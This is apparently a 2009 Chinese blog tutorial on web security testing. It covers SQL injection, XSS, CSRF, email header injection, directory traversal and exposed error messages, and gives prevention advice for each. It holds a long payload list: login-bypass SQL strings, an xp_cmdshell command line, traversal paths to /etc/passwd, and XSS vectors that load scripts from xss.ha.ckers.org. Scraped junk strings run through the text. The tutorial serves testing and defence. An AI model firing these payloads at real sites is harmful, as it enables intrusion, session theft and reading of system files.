安全性测试系列-如何对网站进行安全性测试

上一篇 / 下一篇  2009-12-25 17:49:21 / 个人分类:安全性测试

1.SQL Injection(SQL 注入)

  (1)如何进行SQL注入测试?
3\"s.J9[e3\Mr3u0

P L;l[+w,Bm8H)GN&O0
  • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.
D$R2La~"k0

<form. id="form_search" action="/search/" method="get">51Testing软件测试网1?6LqDc&G/M c

<div>

lS \_(ZVOA$CL/?0

<input type="text" name="q" id="search_q" value="" />51Testing软件测试网HTUV9yD8J`T

<input name="search" type="image" src="/media/images/site/search_btn.gif" />

^?;]M~n&y Zk0

<a href="/search/" class="fl">Gamefinder</a>

PW~8^Qe }+U'N0

</div>51Testing软件测试网X6w4P3J)]kST

</form>

\;gA1[L Oi0注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=1051Testing软件测试网'c$c j0~@9i.fbS
  • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

注1:根据实际情况,SQL注入请求可以使用以下语句:51Testing软件测试网F8QYe(U h%c$i u0F

' or 1=1- -

;T`5r\#d!z*OM&A0

" or 1=1- -

A8p.N;QGWr0

or 1=1- -51Testing软件测试网Z[F^DBznMD

' or 'a'='a51Testing软件测试网XFN7o.Q W@Y

" or "a"="a

Xk+D3C,FJ1k0

') or ('a'='a 
f H!Wk,a#P,V*S0   注2:为什么是OR,以及',――特殊的字符呢?

T9jNp[d.]xU0

例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'

Vc;U oV2n{'u0

如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'51Testing软件测试网o5z+n AxA

'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.
)E]4cU4{H-pTq^0
51Testing软件测试网i9t7v,x,H\.z

接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

a ~p0V/_:v+T0

如 输入http://duck/index.asp?username=admin'--&pwd=11SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

sRd$AA;Q%?[W*e'x0 '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行51Testing软件测试网Gb Y S?A#by3C5K
 接下来是"--"查询条件,“--”
是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
  • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
  • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
  (2)如何预防SQL注入?
f9lJ9s7w.]s051Testing软件测试网+sY/_-IY
  从应用程序的角度来讲,我们要做以下三项工作:
ap|#g/b8V s(~*do0
  • 转义敏感字符及字符串(SQL的敏感字符包括exec,xp_,sp_,declare,Union,cmd,+,//,..,;,,--,%,0x,><=!-*/()|,空格”).
  • 屏蔽出错信息:阻止攻击者知道攻击的结果51Testing软件测试网n&~V.juY

  • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.51Testing软件测试网)_*v/~fb oe m3UT

    X Hl4\$n"A0
   从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:51Testing软件测试网4LLeZ9|j
  • 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
  • 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
   当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
]KA&o\m\Vs*D2`0

  2.Cross-site scritping(XSS):(跨站点脚本攻击)

!F`p j4q2p0

  (1)如何进行XSS测试?
3QM8j'G3ik"M:nZI0

yr+\ j-X ?Y0
  • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
  • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

<scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网RL4}!O5Qd{/]5D

51Testing软件测试网%^TQ:]!^8v)N,N3h#f#R


a,U ~3FWLzd+f}0      注:其它的XSS测试语句

6{ YX1U0n0bo8J0

2`5VnzUI7?051Testing软件测试网"n4|.]1PK

><scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网5u%[ mzF!Id~2K
='><scrīpt>alert(document.cookie)</scrīpt>
lYI;gbG:j7s0<scrīpt>alert(document.cookie)</scrīpt>
0]0m-g!vpLx0<scrīpt>alert(vulnerable)</scrīpt>
4\K#rJbj0%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E51Testing软件测试网"I\_+c8j;h@%M3~
<scrīpt>alert('XSS')</scrīpt>
x(k ]`6`0<img src="javascrīpt:alert('XSS')">51Testing软件测试网R"`v*zQCCr6~ uo
%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp51Testing软件测试网 @*pw.oUy7bG(z;k
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e51Testing软件测试网wt:]5n*w+Gx
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
g$Z,K#e,K7SC"~B0%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
JBwDo%I c0%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
`(?|n_urJ0%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e51Testing软件测试网X0{#eHR
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
XVs_'jU4J2|0%3f.jsp
B.Gyfv#^`X0%3f.jsp
?@8n$Q+T]W2tk0&lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt51Testing软件测试网b'Ci+_%`.U
<scrīpt>alert('Vulnerable')</scrīpt>51Testing软件测试网T*Oy&r~U%p
?sql_debug=1
SS Z{9e*`Hj/a0a%5c.aspx51Testing软件测试网g*hojC m
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
n Hg5]7t0a/51Testing软件测试网*Y!w{)k7I~
a?<scrīpt>alert('Vulnerable')</scrīpt>51Testing软件测试网2A{Kc'}1Zg&[Y;C
"><scrīpt>alert('Vulnerable')</scrīpt>51Testing软件测试网1\bQ:olU`I
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&51Testing软件测试网 t?N~ Y w$A+K2gC_
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E51Testing软件测试网4Jw5j6y {#L9v h[
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
"Z6MSeR,JD7@0%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=51Testing软件测试网 O u-n4`j0_
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=51Testing软件测试网S'f#g8BS6m"cy
../../../../../../../../etc/passwd
?2yrB+Au7T$A0..\..\..\..\..\..\..\..\windows\system.ini
%@ ~~4T:r4M(c4s0\..\..\..\..\..\..\..\..\windows\system.ini51Testing软件测试网3]:fe|&y3mW^ v"|a
'';!--"<XSS>=&{()}51Testing软件测试网](X`-gFx/s
<IMG SRC="javascrīpt:alert('XSS');">
Ck#x\ bwv9Np0<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网``X WEHai R5d W
<IMG SRC=javascrīpt:alert('XSS')>
8~%D+[a1\+Y0<IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>51Testing软件测试网 I%~T8B ~8\
<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网a;?9w{TCo(?h)J&|
<IMG SRC=javascrīpt:alert('XSS')>
"jgj_ l0<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>51Testing软件测试网n2bH W-U%e~H"_
<IMG SRC="jav ascrīpt:alert('XSS');">
L6{c*Taf \0<IMG SRC="jav ascrīpt:alert('XSS');">
'a[8ZLAS.s`t0<IMG SRC="jav ascrīpt:alert('XSS');">
(Dxhd? b0"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out51Testing软件测试网.vG }i9a.Ts}O1j%I
<IMG SRC=" javascrīpt:alert('XSS');">
o*O&P^*s7@6Z"v~0<scrīpt>a=/XSS/alert(a.source)</scrīpt>
N7OdSA'o]0<BODY BACKGROUND="javascrīpt:alert('XSS')">51Testing软件测试网9zZ^%E^4FiXb[
<BODY ōNLOAD=alert('XSS')>51Testing软件测试网cN8`Ek*Y
<IMG DYNSRC="javascrīpt:alert('XSS')">
"g5v ] Lo-zi(q D(z)v0<IMG LOWSRC="javascrīpt:alert('XSS')">
L @8}Z]%J)[-l-R(kP].x0<BGSOUND SRC="javascrīpt:alert('XSS');">
:p0cd@QGv}](U0<br size="&{alert('XSS')}">
h*RaW t&Bk7V0<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>51Testing软件测试网D8hS POH(T{a-g/[-](`
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">51Testing软件测试网PH fh u&pKsxI;W
<IMG SRC='vbscrīpt:msgbox("XSS")'>
#q/G8E}:f*A&Qj0<IMG SRC="mocha:[code]">
;s r;P%WA0<IMG SRC="livescrīpt:[code]">51Testing软件测试网3h4VUIJ$B'j;@
<META. HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">51Testing软件测试网d`R esua9l!g
<IFRAME. SRC=javascrīpt:alert('XSS')></IFRAME>51Testing软件测试网"TMS+Jqr
<FRAMESET><FRAME. SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>51Testing软件测试网L`J%G Y!rn:N
<TABLE BACKGROUND="javascrīpt:alert('XSS')">
6S:K0C$e e)e0<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">51Testing软件测试网X#l Zn"L j@U.K$|
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
,eP\S w~+\-d{ L0<DIV STYLE="width: expression(alert('XSS'));">51Testing软件测试网8t!dq-C;U5V0m
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
}x"L{!]\Nk0<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
*u!G/@co9Nc0<STYLE. TYPE="text/javascrīpt">alert('XSS');</STYLE>51Testing软件测试网 ^Mm S3}:Nf3n!N$k
<STYLE. TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
.yv|w5J0<STYLE. type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
o QO B&[!Fc}9V0<BASE HREF="javascrīpt:alert('XSS');//">
\ G I'zH/q-dpI0getURL("javascrīpt:alert('XSS')")
{;I.]0}rs}7~-f7X@*W0a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
J ^qWJnN9m0<XML SRC="javascrīpt:alert('XSS');">
U,DCu8W0"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
s f X| @T0<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>51Testing软件测试网"s Gu{ ]2rDL
<IMG SRC="javascrīpt:alert('XSS')"51Testing软件测试网~K X^;M
<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
aP_qrI$q5~;I T0<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">51Testing软件测试网vjUCyYp{
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
}:b3So&Q9p9hC-KV5Z0<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网d2MrN_8pj wx
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
)F sqF$F8T;h([.l0<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网 G0we1Vd5zL$Q4d
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网%p9grD1m P!I0x
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
 

"Z*z$}v5NS s-]R7O0

.O`m([g(]9H3E0
  • 最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
  • 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
  (2)如何预防XSS漏洞?51Testing软件测试网)tgo {D'E'y
    从应用程序的角度来讲,要进行以下几项预防:51Testing软件测试网hjhO*R
  • Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
  • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
    从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
  • 在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
  • 执行测试过程中也应对上述项进行检查。
    :Bg%MwpB:TN_~0
 
6^H{ d|^umk&c.\0  3.CSRF:(跨站点伪造请求)51Testing软件测试网%p)y:CgE
    CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。
4ARSX3x`@0    XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。51Testing软件测试网~!C3_s?(mVY(X
    XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),51Testing软件测试网,j3gv*_+[W"D3o
   (1)如何进行CSRF测试?
A,iwb2BZ0    关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。51Testing软件测试网f|3rr4w&H
   (2)如何预防CSRF漏洞?
/]O"r|2[)m0 4.Email Header Injection(邮件标头注入)  
;v6w oFn"of/YO0    Email Header Injection
:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
  • <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行,如果在subject中输入“hello\ncc:spamvictim@example.com”,可能会形成以下
Subject: hello
cc: spamvictim@example.com
  • <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。51Testing软件测试网0j\2hN^3z(DY
  5.Directory Traversal(目录遍历)
q%d%y.V1}0   (1)如何进行目录遍历测试?51Testing软件测试网RX*`E)x|g
  • 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
  • 测试方法:URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
    d`.FNdA0
   (2)如何预防目录遍历?
*yS*} f+N&N0
  • 限制Web应用在服务器上的运行
  • 进行严格的输入验证,控制用户输入非法路径
 6.exposed error messages(错误信息)51Testing软件测试网+s ^&g;Vp,x(f8m1R
  (1)如何进行测试?
:s9d/Mvd5`0
  • 首先找到一些错误页面,比如404,或500页面。
  • 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。51Testing软件测试网Q'Ew:_ V9k
  (2)如何预防?51Testing软件测试网(\mdwc9pc~y
  • 测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。

TAG: 安全性测试

sly_leo的个人空间 引用 删除 sly_leo   /   2012-05-10 16:19:12
5
hangxin06066的个人空间 引用 删除 hangxin06066   /   2012-02-15 16:03:18
5
七星海棠的个人空间 引用 删除 七星海棠   /   2011-11-09 18:58:13
5
moyiyun的个人空间 引用 删除 moyiyun   /   2011-11-09 11:24:17
不错,讲的挺详细的
moyiyun的个人空间 引用 删除 moyiyun   /   2011-11-09 11:23:50
-5
 

评分:0

我来说两句

日历

« 2022-01-10  
      1
2345678
9101112131415
16171819202122
23242526272829
3031     

数据统计

  • 访问量: 37834
  • 日志数: 47
  • 建立时间: 2009-09-03
  • 更新时间: 2010-06-10

RSS订阅

Open Toolbar